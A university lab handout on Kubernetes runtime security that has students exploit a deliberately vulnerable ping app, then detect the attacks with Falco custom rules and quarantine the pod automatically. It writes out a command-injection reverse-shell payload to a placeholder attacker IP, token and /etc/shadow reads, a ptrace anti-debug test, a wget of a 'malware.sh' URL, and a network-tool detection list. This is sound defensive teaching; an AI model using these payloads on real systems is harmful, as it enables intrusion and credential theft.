



**Politecnico
di Torino**

Kubernetes Runtime Security Monitoring

Networks & Cloud Technologies and Security
Network and Cloud Security

Gianmarco Fabbri

September 9, 2026

License

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.

You are free:

- **to Share:** to copy, distribute and transmit the work
- **to Remix:** to adapt the work

Under the following conditions:

- **Attribution:** you must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work).
- **Noncommercial:** you may not use this work for commercial purposes.
- **Share Alike:** if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

More information on the [Creative Commons website](https://creativecommons.org/licenses/by-nc-sa/3.0/).



Acknowledgments

The author would like to thank all the people who contributed to this document, particularly Francesco Pizzato, who created the first version of this lab, and Alex Palesandro, Marco Iorio, and Stefano Galantino for their valuable enhancements and subsequent improvements.

Contents

1	Introduction	4
2	Initial setup	5
2.1	Configuring the Kubernetes cluster	5
2.2	Deploying the vulnerable application	6
2.3	Installing Falco via Helm	7
3	Runtime threat detection & custom rules	9
3.1	The scenario	9
3.2	Executing the exploit	10
3.3	Analyzing Falco alerts	10
3.4	Post-exploitation	11
3.5	Ptrace anti-debug attack	13
3.6	The building blocks of Falco rules	14
3.7	Custom rule with macros and lists	15
3.8	Testing the custom rule	16
3.9	Exception handling and false positive management	16
4	Alert response using Falco Handler	18
4.1	Architecture overview	18
4.2	Deploying the Falco handler	18
4.3	Observing the automated response	20
4.4	Clean up	21

1 Introduction

In recent years, the adoption of Kubernetes and container technologies has surged due to their versatility and scalability for the deployment of massive and highly-available distributed applications. Securing these complex environments at various levels is imperative. In this lab, we delve into the critical issue of runtime security monitoring, exploring solutions for securing Kubernetes clusters and enforcing threat detection mechanisms in real-time. These measures are necessary to provide visibility and observability for containerized applications in such dynamic computing environments.

While the isolation between containers restricts the impact of an exploited application, several runtime threats can still manifest. Through hands-on exercises, students will gain a deep understanding of runtime security mechanisms, their significance in mitigating security risks, and practical implementation techniques to fortify Kubernetes deployments against emerging threats.

From a security perspective, containers are exposed to different attack vectors aiming to breach the security boundary and escape container isolation, potentially performing lateral movements within the system and escalating privileges. This vulnerability is particularly concerning in multi-tenant environments where different users run their workloads on shared hardware.

One of the most widely adopted security tools for container runtime security is **Falco**, an open-source cloud-native runtime security project. It acts as a security camera detecting unexpected behavior, intrusions, and data theft in real-time. In this lab, students will practice deploying a vulnerable application, monitoring its behavior with Falco, and ultimately simulating an attack to observe how a command injection can lead to a reverse shell.

All the exercises will be carried out by using Virtual Machines on CrownLabs, running all the necessary tools for creating the Kubernetes cluster and experimenting with it.

Beware: when working with text-only VMs, the **highly suggested solution** is to use a terminal on the student's local machine, connecting with CrownLabs' VM via SSH (for the proper setup of an SSH key in your CrownLabs account and extensive instructions for this step, refer to the following page https://crownlabs.polito.it/resources/crownlabs_ssh/). If this is not possible, another solution is to use the image "Client VM", which has a GUI, and use it to interact with the other CrownLabs' VMs. This solution is **discouraged** since it uses too many CrownLabs resources and introduces unnecessary latencies and complications during the execution of the lab.

2 Initial setup

The physical setup of this lab consists of a single VM representing our bare-metal infrastructure. This VM will act as an all-in-one Kubernetes *control plane* and *worker node* (Single-Node architecture). This topology is specifically chosen to bypass VXLAN overlay network restrictions present in the CrownLabs environment that drop cross-node pod traffic. The installation process requires the `kubeadm`, `kubectl`, and `kubelet` packages to be installed: the provided CrownLabs image already includes them.

2.1 Configuring the Kubernetes cluster

The Kubernetes control plane, including components such as the API server and the controller manager, governs the cluster behavior. Specifically, the control plane maintains a record of all the Kubernetes objects in the system and runs continuous control loops to manage those objects' state.

2.1.1 Configuring the control plane node

First, select a VM that is supposed to act as the control plane node and change the name of the machine to clarify its function in the Kubernetes cluster:

```
sudo hostnamectl set-hostname control-plane-1
```

Warning: you have to disconnect from the VM and open another SSH session to update the prompt. Then, from the same node, it is possible to leverage `kubeadm` to initialize the control-plane:

```
sudo kubeadm init --pod-network-cidr=10.254.0.0/16 --service-cidr=10.255.0.0/16
```

`kubeadm init` first runs a series of pre-flight checks to ensure that the machine is ready to run Kubernetes, then downloads and installs the cluster control plane components. This may take several minutes. As part of the installation process, the previous command will print on screen a join string. **You can ignore this join string**, as we will not be adding any worker nodes to this cluster.

Once the configuration is completed, it is possible to make `kubectl` work for the current user:

```
mkdir -p $HOME/.kube
sudo cp /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
```

Kubernetes does not embed the logic to interconnect different pods. Instead, it leverages a modular architecture based on the Container Network Interface (CNI). In this lab, we select **Cilium**, an open-source solution which provides highly scalable networking and security capabilities based on eBPF (Extended Berkeley Packet Filter).

Why Cilium and Falco together?

Both Cilium and Falco exploit the power of **eBPF**, a revolutionary Linux kernel technology that allows safe, sandboxed programs to run inside the OS kernel without modifying its source code or loading kernel modules. However, the two tools operate at complementary layers of the security stack:

- **Cilium** leverages eBPF for *network security*: it enforces Network Policies at layers L3/L4/L7, provides load balancing, and secures east-west traffic between pods. Without a CNI like Cilium, pods cannot communicate at all.
- **Falco** leverages eBPF for *runtime security*: it intercepts Linux system calls made by containerized processes directly from the kernel, detecting anomalous behaviors such as spawning shells, reading sensitive files, or opening unexpected network connections.

Together, they represent two fundamental and complementary pillars of cloud-native security: Cilium controls *what can be reached*, while Falco detects *what is happening at runtime*.

Before installing Cilium, verify that the control plane node is initialized (it will be in the NotReady state because the network plugin is not yet installed):

```
kubectl get nodes
```

Since we are deploying a single-node cluster, we must remove the default taint on the control plane node so that standard application pods (like our vulnapp) can be scheduled on it. Run the following commands:

```
kubectl taint nodes --all node-role.kubernetes.io/control-plane:NoSchedule-
kubectl taint nodes --all node-role.kubernetes.io/master:NoSchedule-
```

Cilium can be installed through the provided CLI:

```
curl -L --fail --remote-name-all \
  https://github.com/cilium/cilium-cli/releases/latest/download/cilium-linux-amd64.
  tar.gz
sudo tar -xzf cilium-linux-amd64.tar.gz -C /usr/local/bin
rm cilium-linux-amd64.tar.gz
cilium install --version 1.15.14
```

Once Cilium is installed, wait for it to report that the cluster is healthy:

```
cilium status --wait
```

2.2 Deploying the vulnerable application

Now that you have a fully working Kubernetes cluster, we can proceed to deploy the environment required for the security monitoring activities.

We will use vulnapp: a minimal Python web application that simulates a network diagnostic tool. It exposes a form where the user enters a hostname or IP address and the server executes a ping against it. The application is intentionally vulnerable to **Command Injection** due to the use of unsanitized user input in a shell command — a deliberate design choice to simulate one of the most

common classes of real-world web vulnerabilities (OWASP Top 10 A03: Injection). You will explore this vulnerability in depth in Chapter 3.

The instructor has provided a ZIP archive containing all the necessary materials for this lab (manifests, payloads, and application source). Extract the archive:

```
unzip material.zip
```

The vulnapp Docker image must be built locally on the **control plane node**, where it will be scheduled to run. Navigate to the folder and build the image:

```
cd $HOME/material/vulnapp
docker build -t vulnapp:latest .
docker save vulnapp:latest | sudo ctr -n k8s.io images import -
```

Info

Since kubeadm uses containerd as the runtime, images built with docker are not immediately visible to Kubernetes. We must explicitly import the image into the `k8s.io` namespace using `ctr`. Alternatively, you can use `sudo nerdctl -n k8s.io build -t vulnapp:latest .` to build directly into the correct namespace.

Return to the control plane node and deploy the application in the default namespace:

```
kubectl apply -f $HOME/material/manifests/vulnapp-deployment.yaml
kubectl apply -f $HOME/material/manifests/vulnapp-service.yaml
```

Verify that the application is running:

```
kubectl get pods
```

The output should show the vulnapp pod in the Running state:

NAME	READY	STATUS	RESTARTS	AGE
vulnapp-7c4d9f8b4-xk2mp	1/1	Running	0	45s

2.3 Installing Falco via Helm

Falco is a CNCF graduated project for runtime security. It parses Linux system calls from the kernel at runtime, and asserts the stream against a powerful rules engine.

To install Falco in our Kubernetes cluster, we will use Helm. If Helm is not already installed on your control plane node, you can easily install it by running:

```
curl -fsSL -o get_helm.sh https://raw.githubusercontent.com/helm/helm/main/scripts/
get_helm-3
chmod 700 get_helm.sh
./get_helm.sh
rm get_helm.sh
```

Add the Falco repository to Helm:

```
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
```

Now install Falco in a dedicated namespace (`falco`). While eBPF is the modern standard for Falco, we will use the legacy Kernel Module (`kmod`) driver in this lab. This is a deliberate architectural choice: the kernel provided by the CrownLabs VM environment lacks full BTF (BPF Type Format) support, which is required for modern eBPF probes to function reliably. The `kmod` driver guarantees compatibility in this specific environment, though it requires the kernel headers to be installed to compile the probe at runtime. Before proceeding, make sure to run the following:

```
sudo apt-get update
sudo apt-get install -y linux-headers-$(uname -r)
```

Then, install Falco:

```
helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set tty=true \
  --set driver.kind=kmod
```

Wait a few seconds, then verify that the Falco daemonset has been successfully deployed and the pods are running:

```
kubectl get pods -n falco
```

NAME	READY	STATUS	RESTARTS	AGE
falco-4dgzk	2/2	Running	0	39s

Falco is now silently monitoring all the system calls in our cluster!

3 Runtime threat detection & custom rules

In this chapter, we will simulate a real-world attack against our vulnerable application, observe how Falco detects it using its default ruleset, and then extend its detection capabilities with a custom-tailored rule. The chapter follows a deliberate narrative arc: first we *execute* the attack, then we *analyze* what Falco captured, and finally we *craft* a rule that provides more precise, application-specific detection — demonstrating the full lifecycle of runtime security from initial alert to refined policy.

3.1 The scenario

vulnapp is a minimal Python web application that simulates a common network diagnostic tool. It exposes a single page at `/`: a form that accepts a hostname or IP address and executes a `ping` command against it on the server, returning the result to the user.

The vulnerability lies in how this input is processed. The user-supplied string is passed directly to the operating system shell via Python's `subprocess.run(..., shell=True)` without any sanitization or validation. This is a textbook example of **Command Injection**, classified as *OWASP Top 10 A03:2021 – Injection*. An attacker can terminate the `ping` command early and append arbitrary shell commands using common separators such as `;`, `&&`, or `|`.

In this lab, we will exploit this vulnerability to spawn a **Reverse Shell** inside the container. A Reverse Shell is a type of shell where the *target* machine initiates an outbound connection back to the attacker's machine. This technique is preferred over a Bind Shell (where the target opens a listening port) because outbound traffic is rarely filtered as strictly as inbound traffic, easily bypassing ingress firewall rules and NAT restrictions.

3.1.1 Preparing the Attacker Listener

In a real scenario, the attacker would set up a listener on a public IP address or a compromised external server. To avoid networking issues and external dependencies on the CrownLabs environment, we will simulate the attacker's machine by deploying a dedicated pod directly inside the cluster.

Deploy the attacker pod:

```
cat <<EOF > attacker-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: attacker
spec:
  containers:
  - name: ubuntu
    image: ubuntu
    command: ['sleep', 'infinity']
EOF
kubectl apply -f attacker-pod.yaml
```

Wait for the pod to be running, then retrieve its IP address:

```
kubectl get pod attacker -o jsonpath='{.status.podIP}'
```

Take note of this IP (e.g., 10.244.0.8). Install netcat on the attacker pod and start listening on port 4444:

```
kubectl exec -it attacker -- apt-get update -qq
kubectl exec -it attacker -- apt-get install -y netcat-openbsd -qq
kubectl exec -it attacker -- nc -lvnp 4444
```

Leave this terminal open. It is now waiting for an incoming reverse shell connection.

3.2 Executing the exploit

Since the vulnapp service is configured as a NodePort, it is directly accessible on port 32080 of your node's IP address. First, retrieve the IP address of your node:

```
kubectl get nodes -o wide
```

Take note of the INTERNAL-IP of your node (e.g., 10.x.x.x). Open your browser and navigate to `http://<INTERNAL-IP>:32080`. You will see the **NetDiag** interface with a single *Hostname or IP address* input field.

In the field, enter the following payload (replace <ATTACKER_IP> with the IP obtained in the previous step):

```
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'
```

Click **Ping**. The browser will appear to hang — this is expected, as the container process is now busy maintaining the reverse shell connection.

Go back to your first terminal (the attacker listener). You should see that a connection has been established:

```
Listening on 0.0.0.0 4444
Connection received on 10.244.0.5 42502
root@vulnapp-7c4d9f8b4-xk2mp:/app#
```

You now have an interactive root shell inside the vulnapp container.

3.3 Analyzing Falco alerts

The attack was successful: you have root access inside the application container, demonstrating how a single line of vulnerable Python code can compromise an entire pod. However, Falco was actively monitoring system calls at the kernel level throughout the entire attack. Unlike network-based intrusion detection systems, Falco operates directly at the kernel using eBPF, providing deep visibility into every action performed by containerized processes — regardless of protocol or encryption.

Open a third terminal and examine the Falco daemonset logs:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco -c falco --tail=50
```

You should find an entry similar to the following:

```
Notice Redirect stdout/stdin to network connection | gparent=sh ggparent=python3 fd.
sip=10.244.0.8 connection=10.244.0.5:42502->10.244.0.8:4444 lport=42502 rport=4444
fd_type=ipv4 fd_proto=tcp evt_type=dup3 user=root user_uid=0 process=bash
proc_exepath=/bin/bash parent=bash command=bash container_name=vulnapp
```

Falco caught the reverse shell at the system call level. The key fields tell us the full story:

- **process=bash**: the process that redirected its I/O was bash (our injected shell).
- **gparent** / **ggparent**: Python spawned a sh shell (via `shell=True`), which in turn executed our injected bash.
- **connection**: the outbound TCP connection back to the attacker pod on port 4444.
- **container_name=vulnapp**: the alert is attributed to the correct container.

Default detection and custom detection

Falco successfully detected the reverse shell. However, the default rule *Redirect stdout/stdin to network connection* is generic and it fires for *any* container that redirects its I/O to a network socket. In a cluster running dozens of microservices, this could generate alert fatigue. In the following sections, we will write a **custom rule** targeting vulnapp to detect a different, equally dangerous post-exploitation behavior with surgical precision.

3.4 Post-exploitation

Obtaining a shell inside a container is often just the first step. A sophisticated attacker will immediately pivot to explore what additional resources they can access. One of the most critical and common post-exploitation techniques in Kubernetes is the theft of the **Service Account Token**.

By default, Kubernetes automatically mounts a service account token inside every pod at a well-known path:

```
/var/run/secrets/kubernetes.io/serviceaccount/token
```

This token is a signed JSON Web Token (JWT) that can be used to authenticate against the Kubernetes API server (`kube-apiserver`). Depending on the RBAC permissions associated with the service account, an attacker could use this token to list secrets, create new pods (e.g., privileged ones to escape to the host), or even take over the entire cluster. This technique is classified under *MITRE ATT&CK for Containers T1528: Steal Application Access Token*.

3.4.1 Executing the Token Theft

From the reverse shell you obtained in the previous section, run the following commands to read the token and the cluster's CA certificate:

```
# From inside the vulnapp container's reverse shell:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

The token will be printed on screen as a long base64-encoded string. Additionally, note the namespace the pod is running in:

```
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
```

The token could then be used from any machine with network access to the API server to attempt further exploitation.

3.4.2 Falco Detection and Rule Evolution

Historically, Falco shipped with a built-in rule (`Read sensitive file untrusted`) that detected the theft of the Kubernetes token. However, in recent Falco versions, this path was removed from the default `sensitive_files` macro. The reason is **alert fatigue**: many legitimate Kubernetes components (like operators and networking plugins) constantly read their own tokens to communicate with the API server, generating too many false positives.

To observe the `Read sensitive file untrusted` rule in action using the modern default ruleset, we can attempt to read a traditional Linux sensitive file instead, such as the password hashes:

```
cat /etc/shadow
```

Check the Falco logs immediately after performing the command:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco -c falco --tail=20
```

You will see an alert similar to the following:

```
Warning Sensitive file opened for reading by non-trusted program | file=/etc/shadow
  gparent=bash gparent=python gparent=containerd-shim evt_type=openat user=root
  user_uid=0 user_loginuid=-1 process=cat proc_exepath=/usr/bin/cat parent=bash
  command=cat /etc/shadow terminal=0 container_id=6323f7a571b6 container_name=
  k8s_vulnapp_vulnapp-5d5997f998-cnxxf_default_466558ca-cbae-45aa-8f08-950
  eb132ba54_0 container_image_repository=vulnapp container_image_tag=latest
  k8s_pod_name=vulnapp-5d5997f998-cnxxf k8s_ns_name=default
```

This demonstrates how Falco protects standard Linux sensitive files out-of-the-box. To restore the detection for the Kubernetes token, an administrator would simply need to append the token path to the `sensitive_files` macro in a custom rule — exactly the kind of policy customization we will explore in the next sections.

3.4.3 Token Theft Mitigation

While Falco provides runtime detection for token theft, the most effective defense is prevention. By default, Kubernetes mounts a service account token in every pod. If a pod's application does not need to communicate with the Kubernetes API, this behavior should be disabled by setting `automountServiceAccountToken: false` in the Pod or ServiceAccount specification. This configuration ensures that even if an attacker successfully compromises the container, there is no token available to steal, thereby mitigating the vulnerability at the source.

To mitigate this vulnerability in a real cluster, you would edit the deployment manifest and set `automountServiceAccountToken: false` in the pod spec to prevent the token from being mounted. For the purpose of this lab, we deliberately leave the configuration vulnerable so that the token can be extracted.

3.5 Ptrace anti-debug attack

The `ptrace()` system call is a powerful Linux primitive that allows one process to observe and control the execution of another. It is the foundation of debugging tools such as `gdb` and `strace`. However, it is also commonly abused by malware authors as an **anti-debugging technique**.

By invoking `ptrace(PTRACE_TRACEME, ...)`, a process signals to the operating system that it wishes to be traced. As a side effect, no external debugger can subsequently attach to that process, since only one tracer is allowed at a time. Sophisticated malware uses this technique to detect and evade dynamic analysis environments. This behavior is classified under *MITRE ATT&CK T1622: Debugger Evasion*.

In this exercise, we will execute a small C binary that performs exactly this syscall and observe how Falco's built-in detection rule fires immediately. The source code of the binary (`ptrace.c`) is available in the `material/payloads/` directory, so you can inspect exactly what it does before running it.

3.5.1 Executing the Attack

First, start watching the Falco logs in real time in a dedicated terminal:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco -c falco -f --tail=0
```

The `ptrace` binary must be transferred into the running `vulnapp` container. Open a new terminal and copy it using `kubectl cp`:

```
POD=$(kubectl get pod -l app=vulnapp -o jsonpath='{.items[0].metadata.name}')
kubectl cp $HOME/material/payloads/ptrace $POD:/tmp/ptrace
```

Now execute it directly inside the container:

```
kubectl exec $POD -- chmod +x /tmp/ptrace
kubectl exec $POD -- /tmp/ptrace
```

The program completes in less than a second and prints a confirmation message.

Building the binary

It is necessary to compile the binary from source on your VM running the following command:

```
gcc -o $HOME/material/payloads/ptrace $HOME/material/payloads/ptrace.c
```

3.5.2 Falco Detection: PTRACE Anti-Debug Attempt

Switch to the terminal running Falco logs. You should immediately see an alert similar to the following:

```
Notice Detected potential PTRACE_TRACEME anti-debug attempt | proc_cmdline=runc --
root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime
.v2.task/moby/6323f7a571b6f7aab0dde6e6d05b6a5706329ee9f6771da5d35b6873433da51e/log
.json --log-format json --systemd-cgroup exec --process /tmp/runc-process115824596
--detach --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/6323
f7a571b6f7aab0dde6e6d05b6a5706329ee9f6771da5d35b6873433da51e/
e8f99c4a4455fbe8e3a8554759998164d99e0454632ce5a400b19382ae18bfff.pid 6323
f7a571b6f7aab0dde6e6d05b6a5706329ee9f6771da5d35b6873433da51e evt_type=ptrace user=
```

```
root user_uid=0 user_loginuid=-1 process=ptrace proc_exepath=/tmp/ptrace parent=
runc command=ptrace terminal=0 container_id=6323f7a571b6 container_name=
k8s_vulnapp_vulnapp-5d5997f998-cnxxf_default_466558ca-cbae-45aa-8f08-950
eb132ba54_0 container_image_repository=vulnapp container_image_tag=latest
k8s_pod_name=vulnapp-5d5997f998-cnxxf k8s_ns_name=default
```

Falco has detected the `ptrace` syscall with request `PTRACE_TRACEME` using the built-in rule **PTRACE anti-debug attempt**.

3.6 The building blocks of Falco rules

One of the most powerful features of Falco is the ability to write custom rules to match the specific security baseline of your applications. While the default ruleset covers a wide array of generic attack patterns, every application has its own unique and well-defined behavioral profile. Tailored rules drastically reduce false positives and establish a tight security boundary based on the principle of *least privilege at the system call level*.

Falco's rule language is hierarchical. Rather than writing monolithic, complex conditions inside each rule, Falco encourages decomposing logic into three reusable primitives: **Lists**, **Macros**, and **Rules**. This structure promotes readability, reusability, and easy maintenance of the security policy.

3.6.1 Lists

A **list** is simply a named collection of items (strings), such as process names, file paths, or system calls. Lists are referenced inside macros and rules to keep conditions clean and easy to update. For example, instead of writing `proc.name = 'wget'` or `proc.name = 'curl'` directly in a rule condition, you define a list once:

```
- list: network_tools
  items: [wget, curl, nc, ncat, netcat]
```

This list can now be referenced anywhere as `proc.cmdline contains 'wget'`, making the policy self-documenting and easy to extend.

Note: In Falco 0.40+ with the container plugin architecture, the `proc.name in (list)` operator may not correctly match process names at condition evaluation time, because the process name field is populated asynchronously. The recommended approach is to use `proc.cmdline contains` for reliable process-level filtering.

3.6.2 Macros

A **macro** is a named, reusable condition fragment. The default Falco ruleset ships with hundreds of macros like `spawned_process`, `container`, or `never_true` that abstract common patterns. You can override existing macros or create your own:

```
- macro: in_vulnapp_container
  condition: container and proc.cmdline contains 'vulnapp'
```

Macros can themselves reference other macros and lists, enabling a powerful compositional approach.

3.6.3 Rules

A **rule** is the top-level detection unit and is composed of the following key fields:

- **rule**: A short, unique name for the rule.
- **desc**: A longer description of what the rule detects.
- **condition**: A filtering expression (composed of fields, operators, macros, and lists) that determines when the rule is triggered.
- **output**: The formatted string sent to the alert channel when the rule matches. It can include *field accessors* (e.g., %proc.name, %container.name, %user.name) to provide rich context.
- **priority**: The severity level, ordered from low to high: DEBUG, INFO, NOTICE, WARNING, ERROR, CRITICAL.
- **tags**: Optional labels for classification (e.g., by MITRE ATT&CK technique).

3.7 Custom rule with macros and lists

Let's assume our security policy dictates that the vulnapp container should *never* execute network download utilities. In a zero-trust model, we must assume that an attacker who has gained code execution will immediately try to download secondary payloads, backdoors, or crypto-miners from an external Command and Control (C2) server. This post-exploitation pattern is known as the **Dropped Binary** attack and is classified under *MITRE ATT&CK T1105: Ingress Tool Transfer*.

By catching this behavior, we intercept the attacker at a critical point in their kill chain, *after* they have exploited the application but *before* they can escalate the attack.

Create a file named custom-rules.yaml. Notice how we use a dedicated list and a macro to keep the rule clean and composable:

```
cat <<EOF > custom-rules.yaml
customRules:
  my_rules.yaml: |-
    - rule: Detect Network Tools in vulnapp
      desc: >
        Detects the execution of network download utilities inside the vulnapp
        container. This behavior is never expected for this application and
        likely indicates a post-exploitation Dropped Binary attempt.
      condition: >
        spawned_process
        and container
        and (proc.cmdline contains 'wget' or proc.cmdline contains 'curl'
        or proc.cmdline contains 'ncat' or proc.cmdline contains ' nc ')
      output: >
        Network download tool executed in vulnapp container
        (user=%user.name tool=%proc.name command=%proc.cmdline
        container=%container.name image=%container.image.repository)
      priority: WARNING
      tags: [network, mitre_execution, T1105]

    - macro: user_known_contact_k8s_api_server_activities
      condition: (container.image.repository = 'falco-handler')
EOF
```

Apply this custom rule to the running Falco deployment via Helm upgrade:

```
helm upgrade falco falcosecurity/falco \
  -n falco \
  -f custom-rules.yaml \
  --reuse-values
```

Wait a few moments for the Falco pods to restart with the new configuration, then verify:

```
kubectl rollout status daemonset/falco -n falco
```

3.8 Testing the custom rule

To test our rule, we will simulate the Dropped Binary scenario: an attacker who has already compromised the vulnapp container and is now trying to download a secondary payload using wget.

Execute the following command to directly spawn a shell inside the vulnapp pod and invoke wget:

```
kubectl exec -it deployment/vulnapp -- bash -c \
  'apt-get update -qq && apt-get install -y wget -qq && wget http://example.com/
  malware.sh'
```

Immediately check the Falco logs:

```
kubectl logs -n falco -l app.kubernetes.io/name=falco -c falco --tail=20
```

You should observe an alert matching the rule we just defined:

```
Notice A shell was spawned in a container with an attached terminal | evt_type=execve
  user=root user_uid=0 user_loginuid=-1 process=bash proc_exepath=/usr/bin/bash
  parent=runc command=bash -c apt-get update -qq && apt-get install -y wget -qq &&
  wget http://example.com/malware.sh terminal=34816 exe_flags=EXE_WRITABLE|
  EXE_LOWER_LAYER container_id=6323f7a571b6 container_name=k8s_vulnapp_vulnapp-5
  d5997f998-cnxxf_default_466558ca-cbae-45aa-8f08-950eb132ba54_0
  container_image_repository=vulnapp container_image_tag=latest k8s_pod_name=vulnapp
  -5d5997f998-cnxxf k8s_ns_name=default
```

3.9 Exception handling and false positive management

In production environments, a significant operational challenge is managing **false positives**: legitimate application behaviors that inadvertently trigger security rules. For example, consider a container where the application itself calls `curl` during a startup health-check, or where a background process periodically reads the service account token to refresh its authentication. Blocking or constantly alerting on these legitimate actions would create alert fatigue, causing security teams to miss real threats.

Falco provides a first-class mechanism for this: the **exceptions** field. An exception allows you to carve out specific, well-defined conditions from an existing rule without modifying its core logic, keeping the policy clean and auditable.

3.9.1 Defining Exceptions

Suppose that we have a legitimate process, `healthcheck.sh`, that needs to call `curl` to probe an internal endpoint. We can add an exception to our rule as follows:

```
- rule: Detect Network Tools in vulnapp
  exceptions:
    - name: allow_healthcheck_curl
      fields: [proc.name, proc.pname]
      comps: [=, =]
      values:
        - [curl, healthcheck.sh]
```

This exception tells Falco: “do not trigger this rule if the process name is `curl` **and** its parent process name is `healthcheck.sh`.” Any other invocation of `curl` (e.g., from a `bash` parent, as an attacker would do) will still be caught.

4 Alert response using Falco Handler

Detecting an attack in real time is only half the battle. The other half is **responding** to it. Falco, by itself, is a pure detection engine — it generates alerts but does not take any automatic action on the cluster. In production environments, security teams integrate Falco with an **automated response system** to minimize the window between detection and remediation.

In this chapter, we will extend our Falco deployment with two additional components:

- **Falcosidekick**: a companion service that receives alerts from Falco via an internal channel and fans them out to external destinations such as webhooks, Slack, PagerDuty, or S3.
- **Falco Handler**: a custom Python microservice deployed in the cluster that receives Falco alerts via webhook and executes an automated response — in our case, mutating the compromised pod's labels to gracefully isolate it.

4.1 Architecture overview

The full alert pipeline works as follows:

1. Falco intercepts a suspicious syscall and generates a JSON alert.
2. The alert is sent over an internal HTTP channel to **Falcosidekick**, which is deployed as a standalone Pod in the same namespace.
3. Falcosidekick forwards the alert as an HTTP POST request to the **Falco Handler** service endpoint.
4. The Handler extracts the pod name and namespace from the JSON payload, and patches the pod directly to quarantine it.

4.2 Deploying the Falco handler

4.2.1 The Handler Microservice

The handler is a minimal Python Flask application. It exposes a single `POST /` endpoint that receives the JSON alert from Falcosidekick, identifies the affected Kubernetes pod, and applies a label to it.

The handler requires **RBAC permissions** to interact with the Kubernetes API. We must create a dedicated ServiceAccount, a ClusterRole granting read and patch access to pods, and bind them together.

4.2.2 Deploying the Handler

Navigate to the handler's directory to build its Docker image and apply the resources in the default namespace:

```
cd $HOME/material/falco_handler/src
docker build -t falco-handler:latest .
docker save falco-handler:latest | sudo ctr -n k8s.io images import -
cd ..
kubectl apply -f falco-handler-rbac.yaml
kubectl apply -f falco-handler-deployment.yaml
kubectl apply -f falco-handler-service.yaml
```

Verify that the handler pod is running:

```
kubectl get pods -l app=falco-handler
```

NAME	READY	STATUS	RESTARTS	AGE
falco-handler-7d6f9c8b4-xk2mp	1/1	Running	0	15s

4.2.3 Reconfiguring Falco with Falcosidekick

We now need to upgrade our Falco Helm release to enable Falcosidekick and point it to the handler's service endpoint. The handler is exposed as a ClusterIP service named `falco-handler` on port 80.

Create a file `falco-sidekick-values.yaml`:

```
cat <<EOF > falco-sidekick-values.yaml
falcosidekick:
  enabled: true
  config:
    webhook:
      enabled: true
      address: http://falco-handler.default.svc.cluster.local:80/
EOF
```

Upgrade the Falco Helm release to apply these settings:

```
helm upgrade falco falcosecurity/falco \
  -n falco \
  --reuse-values \
  -f falco-sidekick-values.yaml
```

Wait for the pods to restart:

```
kubectl rollout status daemonset/falco -n falco
```

After the rollout, a new dedicated Deployment for Falcosidekick will be spun up alongside the existing Falco DaemonSet. (Note: the Falco pods themselves show 2/2 containers because they run the core engine and a sidecar for rules updates, but Falcosidekick runs independently).

```
kubectl get pods -n falco
```

NAME	READY	STATUS	RESTARTS	AGE
falco-4dgzk	2/2	Running	0	45s
falco-falcosidekick-5c68f9b7c8-xk2mp	1/1	Running	0	10s

4.3 Observing the automated response

Trigger any of the attacks from Chapter 3 (e.g., run the reverse shell exploit or copy and execute the `ptrace` binary). After the attack, check the handler logs:

```
kubectl logs deployment/falco-handler
```

You should see output similar to the following, showing that the handler received the alert, and applied the label to the pod:

```
[*] Triggered rule from pod=vulnapp-7c4d9f8b4-xk2mp, ns=default
[+] Quarantined pod vulnapp-7c4d9f8b4-xk2mp in default
```

Now verify that the label was applied to the pod:

```
kubectl get pods --show-labels
```

NAME	READY	STATUS	RESTARTS	AGE	LABELS
vulnapp-7c4d9f8b4-xk2mp	1/1	Running	0	45m	tainted-by-falco=true
vulnapp-7c4d9f8b4-zt5q8	1/1	Running	0	10s	app=vulnapp,pod-template-hash=7c4d9f8b4

The label `tainted-by-falco=true` marks the pod as compromised. Notice that all other labels (including the app selector) were dynamically stripped by the handler. This elegantly detaches the pod from the ReplicaSet (triggering the creation of a healthy replacement pod to serve users) while keeping the compromised pod alive for forensics. Furthermore, if another attack occurs, the handler will automatically delete the old quarantined pod before isolating the new one, strictly limiting the namespace to exactly 1 quarantined pod to prevent resource exhaustion Denial of Service (DoS) attacks.

Note on Architecture: To enforce this 1-pod limit safely, the handler's Gunicorn server is deliberately configured with a single worker thread, and the Kubernetes Deployment is strictly bound to replicas: 1. It is critical that this Deployment is never auto-scaled (e.g., via a Horizontal Pod Autoscaler). In a highly concurrent or multi-replica scenario (a burst attack), multiple threads or pods querying the Kubernetes API simultaneously would be subject to a Time-of-Check to Time-of-Use (TOCTOU) race condition, potentially bypassing the limit. Rather than introducing complex distributed locking mechanisms like Kubernetes Leases, restricting concurrency and scale is a secure and simple architectural choice for this environment.

While labeling is useful, to achieve a true closed-loop response, we need to act upon this label. Since we have Cilium installed, we can enforce a **CiliumNetworkPolicy** that automatically isolates any pod bearing this label.

4.3.1 Enforcing Network Isolation

Let's apply a policy that selects endpoints with the tainted label and enforces empty ingress and egress rules, effectively dropping all network traffic:

```
kubectl apply -f ../manifests/isolate-tainted-policy.yaml
```

Now, if you try to execute a reverse shell or ping an external server from the compromised pod, the traffic will be dropped instantly. The Falco Handler applied the label upon detection, which immediately triggered the Cilium network isolation.

You can verify the isolation by trying to ping an external server from the compromised pod:

```
kubectl exec $POD -- ping -c 3 8.8.8.8
```

The command will fail, demonstrating that the threat has been successfully contained without human intervention.

After the exercise, you can safely delete the quarantined pod:

```
kubectl delete pod $POD
```

4.4 Clean up

Once you have finished the lab, clean up all resources:

```
# Remove the Falco handler
kubectl delete deployment falco-handler
kubectl delete service falco-handler
kubectl delete clusterrolebinding falco-handler-pod-binding
kubectl delete clusterrole falco-pod-manager
